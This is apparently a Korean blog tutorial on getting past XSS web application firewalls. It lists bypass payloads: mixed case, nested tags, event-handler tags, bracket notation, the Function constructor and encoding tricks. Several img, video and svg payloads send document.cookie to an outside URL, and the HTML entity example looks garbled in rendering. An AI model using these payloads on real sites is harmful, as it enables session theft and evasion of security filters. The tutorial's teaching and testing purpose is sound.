
안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번에는 XSS WAF에 관해 알아보겠습니다.
말 그대로 XSS WAF는 공격을 막아주는 웹 방화벽을 의미합니다
보편적으로 패턴 매칭이라는 정적인 방법을 통해 거릅니다
예, 쉽게말해서 그냥 블랙리스트를 따로 만드는 겁니다.
keywords = ['Kilroy', 'was', 'here', 'and', 'or']
이런 식으로 따로 블랙리스트를 만들어 만일 사용자가 악의적인 스크립트를 집어넣게 된다면 필터링에 걸려서 방지하는 겁니다.
하지만 블랙리스트를 만들어도 특정한 방법을 통한 쌀먹도 가능합니다
우우우 쌀쌀쌀
가장 고전적이지만, 미흡하게 설정된 WAF의 필터링을 무력화할 때 사용합니다
대소문자 혼용
<ScRiPt>alert(1)</sCrIpT>
재귀적 키워드 구성을 이용한 우회
SQLI WAF 처럼 단순히 그 단어를 공백이나 빈 문자("")로 치환하는 취약한 로직을 가질 경우 사용합니다
<scr<script>ipt>alert(1)</script>
이 경우에서도 중간에 script를 인식해 지워버릴지언정 그 사이 <scr과 ipt>가 붙어 하나의 script문으로 정상 작동합니다.
+[Tab]키를 통해서도 우회가 가능합니다
<scr ipt>alert(1)</scr ipt>
대부분의 많은 waf가 script만 집중적으로 막는데 script문 없이도 가능합니다
이미지 및 미디어 태그 오동작 유도
<img src=x onerror=document.location.href="..."+document.cookie>
<video src=x onerror=document.location.href="..."+document.cookie;>
이렇게 존재하지 않는 경로를 지정해 일부러 에러를 내고 onerror를 실행시킵니다
SVG 태그 활용
<svg onload=document.location.href="..."+document.cookie>
화면이 열리자마자 바로 자바스크립트를 실행시킵니다
WAF가 alert, document 같은 주요 키워드를 탐지할 때, 자바스크립트의 유연한 문법을 활용해 단어를 쪼개거나 다른 방식으로 호출합니다.
대괄호 표기법
window['al'+'ert'](1);
window['eval']('al'+'ert(1)');
// eval : 문자열을 인자로 받아 그 문자열을 실제 실행 가능한 코드로 반환하는 함수 워게임에 자주 나옵니다
객체의 속성에 접근할 때 점(.) 대신 문자열 연산(+)이 가능한 대괄호를 씁니다
+만일 window까지 막은 경우에는 window에 접근 가능한 객체를 이용합니다
self.alert(1)
top.alert(1)
parent.alert(1)
동적 함수 생성
Function('al'+'ert(1)')();
eval마저 막혔을 때 (X발) 함수 생성자를 이용해 문자열을 실행 가능한 코드로 만듭니다.
서버가 디코딩되는 과정의 허점을 이용한 우회 기법입니다
HTML Entity Encoding
많은 WAF는 <나 >를 그대로 찾는 경우가 많은데 이때, HTML Entity를 사용하면 우회되는 경우가 있습니다
<script>alert(1)</script>
//혹은
<script>alert(1)</script>
이렇게 하면 브라우저는 이를 "<script>"로 받아들입니다.
Unicode Encoding
Javascript는 Unicode Escape를 지원합니다 즉,
\u0061\u006c\u0065\u0072\u0074(1)
이 썅1태로 난 코드가 alert(1)로 해석된다는 것이죠.
Hex Encoding
이 또한 가능합니다
\x61\x6c\x65\x72\x74(1)
alert(1)
+백틱을 이용해 우회할 수 있습니다 이 경우 괄호를 막은 경우에만 유효합니다
alert`1`
이 외에도 더 많은 XSS WAF 우회가 있기에 이 글은 앞으로도 업데이트될 예정입니다.
이상으로 글을 마치겠습니다 행복한 하루 되시길 바랍니다.
